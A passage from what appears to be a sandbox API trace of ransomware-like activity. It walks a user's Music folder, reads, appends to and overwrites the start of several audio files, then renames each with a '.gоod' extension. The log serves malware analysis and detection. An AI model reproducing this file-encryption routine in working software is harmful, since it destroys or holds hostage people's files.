ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S64I9a_stZ9Fef_", cAlternateFileName="S64I9A~1")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WXbSdtcBNJoS7VsTq6g5", cAlternateFileName="WXBSDT~1")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22653490, ftCreationTime.dwHighDateTime=0x1d4c86f, ftLastAccessTime.dwLowDateTime=0x840ce640, ftLastAccessTime.dwHighDateTime=0x1d4d47f, ftLastWriteTime.dwLowDateTime=0x840ce640, ftLastWriteTime.dwHighDateTime=0x1d4d47f, nFileSizeHigh=0x0, nFileSizeLow=0x77a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxVPA_6Gi1D Ff0Fmg_6.mp3", cAlternateFileName="XXVPA_~1.MP3")) returned 1 [0208.290] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yRou69", cAlternateFileName="")) returned 1 [0208.290] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.290] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0208.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0208.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0208.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecd20) returned 1 [0208.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), fInfoLevelId=0x0, lpFileInformation=0x35f0040 | out: lpFileInformation=0x35f0040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e38660, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0xb2ead830, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0xb2ead830, ftLastWriteTime.dwHighDateTime=0x1d4c6c1, nFileSizeHigh=0x0, nFileSizeLow=0x812b)) returned 1 [0208.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecce0) returned 1 [0210.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0210.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.097] GetFileType (hFile=0x834) returned 0x1 [0210.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.097] GetFileType (hFile=0x834) returned 0x1 [0210.097] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x1000 [0210.097] ReadFile (in: hFile=0x834, lpBuffer=0x364dea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ecd48, lpOverlapped=0x0 | out: lpBuffer=0x364dea8*, lpNumberOfBytesRead=0x202ecd48*=0x1000, lpOverlapped=0x0) returned 1 [0210.098] CloseHandle (hObject=0x834) returned 1 [0210.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0210.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.098] GetFileType (hFile=0x834) returned 0x1 [0210.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.098] GetFileType (hFile=0x834) returned 0x1 [0210.098] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x812b [0210.099] WriteFile (in: hFile=0x834, lpBuffer=0x364f140*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ecc68, lpOverlapped=0x0 | out: lpBuffer=0x364f140*, lpNumberOfBytesWritten=0x202ecc68*=0x10, lpOverlapped=0x0) returned 1 [0210.099] CloseHandle (hObject=0x834) returned 1 [0210.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0210.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.099] GetFileType (hFile=0x834) returned 0x1 [0210.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.099] GetFileType (hFile=0x834) returned 0x1 [0210.099] ReadFile (in: hFile=0x834, lpBuffer=0x3651400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eccf8, lpOverlapped=0x0 | out: lpBuffer=0x3651400*, lpNumberOfBytesRead=0x202eccf8*=0x1000, lpOverlapped=0x0) returned 1 [0210.125] CloseHandle (hObject=0x834) returned 1 [0210.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0210.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.125] GetFileType (hFile=0x834) returned 0x1 [0210.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.125] GetFileType (hFile=0x834) returned 0x1 [0210.125] WriteFile (in: hFile=0x834, lpBuffer=0x3650158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ecda8, lpOverlapped=0x0 | out: lpBuffer=0x3650158*, lpNumberOfBytesWritten=0x202ecda8*=0x1010, lpOverlapped=0x0) returned 1 [0210.125] CloseHandle (hObject=0x834) returned 1 [0210.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav", lpFilePart=0x0) returned 0x43 [0210.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav.gоod", lpFilePart=0x0) returned 0x48 [0210.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecce0) returned 1 [0210.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ecdc0 | out: lpFileInformation=0x202ecdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e38660, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0xb2ead830, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0x79746745, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x813b)) returned 1 [0210.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecca0) returned 1 [0210.126] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\78z4-TW7eudkRR_.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\78z4-tw7eudkrr_.wav.gоod")) returned 1 [0210.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecd20) returned 1 [0210.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), fInfoLevelId=0x0, lpFileInformation=0x36cd7e8 | out: lpFileInformation=0x36cd7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965cf90, ftCreationTime.dwHighDateTime=0x1d4c755, ftLastAccessTime.dwLowDateTime=0x8f48c490, ftLastAccessTime.dwHighDateTime=0x1d4d1df, ftLastWriteTime.dwLowDateTime=0x8f48c490, ftLastWriteTime.dwHighDateTime=0x1d4d1df, nFileSizeHigh=0x0, nFileSizeLow=0x33ac)) returned 1 [0210.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecce0) returned 1 [0210.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.127] GetFileType (hFile=0x834) returned 0x1 [0210.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.127] GetFileType (hFile=0x834) returned 0x1 [0210.127] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x1000 [0210.127] ReadFile (in: hFile=0x834, lpBuffer=0x36cdbe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ecd48, lpOverlapped=0x0 | out: lpBuffer=0x36cdbe0*, lpNumberOfBytesRead=0x202ecd48*=0x1000, lpOverlapped=0x0) returned 1 [0210.128] CloseHandle (hObject=0x834) returned 1 [0210.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.620] GetFileType (hFile=0x834) returned 0x1 [0210.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.620] GetFileType (hFile=0x834) returned 0x1 [0210.620] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x33ac [0210.620] WriteFile (in: hFile=0x834, lpBuffer=0x35dd450*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ecc68, lpOverlapped=0x0 | out: lpBuffer=0x35dd450*, lpNumberOfBytesWritten=0x202ecc68*=0x10, lpOverlapped=0x0) returned 1 [0210.621] CloseHandle (hObject=0x834) returned 1 [0210.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.652] GetFileType (hFile=0x478) returned 0x1 [0210.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.652] GetFileType (hFile=0x478) returned 0x1 [0210.652] ReadFile (in: hFile=0x478, lpBuffer=0x365f3c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eccf8, lpOverlapped=0x0 | out: lpBuffer=0x365f3c0*, lpNumberOfBytesRead=0x202eccf8*=0x1000, lpOverlapped=0x0) returned 1 [0210.679] CloseHandle (hObject=0x478) returned 1 [0210.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.679] GetFileType (hFile=0x478) returned 0x1 [0210.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.679] GetFileType (hFile=0x478) returned 0x1 [0210.680] WriteFile (in: hFile=0x478, lpBuffer=0x35e19e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ecda8, lpOverlapped=0x0 | out: lpBuffer=0x35e19e0*, lpNumberOfBytesWritten=0x202ecda8*=0x1010, lpOverlapped=0x0) returned 1 [0210.680] CloseHandle (hObject=0x478) returned 1 [0210.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a", lpFilePart=0x0) returned 0x3d [0210.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a.gоod", lpFilePart=0x0) returned 0x42 [0210.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecce0) returned 1 [0210.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ecdc0 | out: lpFileInformation=0x202ecdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965cf90, ftCreationTime.dwHighDateTime=0x1d4c755, ftLastAccessTime.dwLowDateTime=0x8f48c490, ftLastAccessTime.dwHighDateTime=0x1d4d1df, ftLastWriteTime.dwLowDateTime=0x79ca3990, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x33bc)) returned 1 [0210.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecca0) returned 1 [0210.680] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\Lmjh0MoDa.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\lmjh0moda.m4a.gоod")) returned 1 [0210.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0210.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecd20) returned 1 [0210.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), fInfoLevelId=0x0, lpFileInformation=0x36db770 | out: lpFileInformation=0x36db770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22653490, ftCreationTime.dwHighDateTime=0x1d4c86f, ftLastAccessTime.dwLowDateTime=0x840ce640, ftLastAccessTime.dwHighDateTime=0x1d4d47f, ftLastWriteTime.dwLowDateTime=0x840ce640, ftLastWriteTime.dwHighDateTime=0x1d4d47f, nFileSizeHigh=0x0, nFileSizeLow=0x77a4)) returned 1 [0210.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecce0) returned 1 [0210.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0210.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.682] GetFileType (hFile=0x478) returned 0x1 [0210.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.682] GetFileType (hFile=0x478) returned 0x1 [0210.682] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x1000 [0210.682] ReadFile (in: hFile=0x478, lpBuffer=0x36dbbc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ecd48, lpOverlapped=0x0 | out: lpBuffer=0x36dbbc8*, lpNumberOfBytesRead=0x202ecd48*=0x1000, lpOverlapped=0x0) returned 1 [0210.683] CloseHandle (hObject=0x478) returned 1 [0210.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0210.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.683] GetFileType (hFile=0x478) returned 0x1 [0210.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.683] GetFileType (hFile=0x478) returned 0x1 [0210.683] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ecd78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ecd78*=0) returned 0x77a4 [0210.683] WriteFile (in: hFile=0x478, lpBuffer=0x36dce80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ecc68, lpOverlapped=0x0 | out: lpBuffer=0x36dce80*, lpNumberOfBytesWritten=0x202ecc68*=0x10, lpOverlapped=0x0) returned 1 [0210.683] CloseHandle (hObject=0x478) returned 1 [0210.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: 